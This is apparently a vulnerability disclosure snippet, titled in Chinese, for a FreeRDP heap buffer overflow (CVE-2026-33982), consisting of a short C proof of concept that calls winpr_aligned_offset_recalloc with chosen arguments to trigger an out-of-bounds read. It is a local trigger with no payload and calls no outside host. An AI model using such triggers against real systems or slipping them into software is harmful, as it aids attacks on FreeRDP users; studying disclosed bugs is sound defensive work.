CVE-2026-33982 FreeRDP堆缓冲区溢出漏洞

#include <winpr/crt.h> #include <stdio.h> /* * Conceptual Proof of Concept for CVE-2026-33982 * Triggering heap-buffer-overflow in winpr_aligned_offset_recalloc */ int main(int argc, char* argv[]) { // Allocate memory with alignment size_t size = 1024; size_t alignment = 16; void* ptr = winpr_aligned_malloc(size, alignment); if (!ptr) { printf("Memory allocation failed.\n"); return -1; } printf("Memory allocated at %p\n", ptr); // Trigger the vulnerability by calling recalloc with specific parameters // This attempts to reallocate and may read 24 bytes before the allocation void* new_ptr = winpr_aligned_offset_recalloc(ptr, size, size * 2, 0); if (new_ptr) { printf("Re-allocation successful.\n"); winpr_aligned_free(new_ptr); } else { printf("Re-allocation failed or triggered vulnerability.\n"); winpr_aligned_free(ptr); } return 0; }